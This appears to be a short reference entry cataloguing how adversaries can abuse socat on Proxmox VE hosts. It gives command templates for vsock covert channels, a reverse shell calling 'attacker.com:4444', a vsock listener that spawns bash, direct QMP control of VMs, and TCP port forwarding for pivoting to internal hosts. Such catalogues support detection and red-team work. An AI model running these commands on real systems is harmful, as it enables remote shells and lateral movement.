socat is a multipurpose relay tool available on Proxmox VE systems. It can create bidirectional data channels between various endpoints including files, sockets, and network connections. Adversaries can leverage socat for vsock covert channels between host and guests, port forwarding, and establishing reverse shells.
/usr/bin/socatConnect to a vsock listener on a VM using its CID (Context ID).
socat - VSOCK-CONNECT:{cid}:{port}
socat - VSOCK-CONNECT:3:1234socat TCP-LISTEN:4444,fork VSOCK-CONNECT:3:1234Establish a reverse shell connection.
socat EXEC:/bin/bash TCP:{attacker}:{port}
socat EXEC:'/bin/bash -li',pty,stderr,setsid,sigint,sane TCP:attacker.com:4444Create a vsock listener that spawns a shell on connection.
socat VSOCK-LISTEN:{port},fork EXEC:/bin/bash
Connect to QEMU Machine Protocol socket for direct VM control.
socat UNIX-CONNECT:/run/qemu-server/{vmid}.qmp -
Bridge a TCP port to a vsock connection for network pivoting.
socat TCP-LISTEN:{port},fork VSOCK-CONNECT:{cid}:{vport}
socat TCP-LISTEN:8080,fork VSOCK-CONNECT:3:80socat TCP-LISTEN:22222,fork VSOCK-CONNECT:5:22Create a TCP port forwarder.
socat TCP-LISTEN:{port},fork TCP:{target}:{tport}
socat TCP-LISTEN:3389,fork TCP:192.168.1.100:3389socat TCP-LISTEN:1433,fork TCP:dc01.internal:1433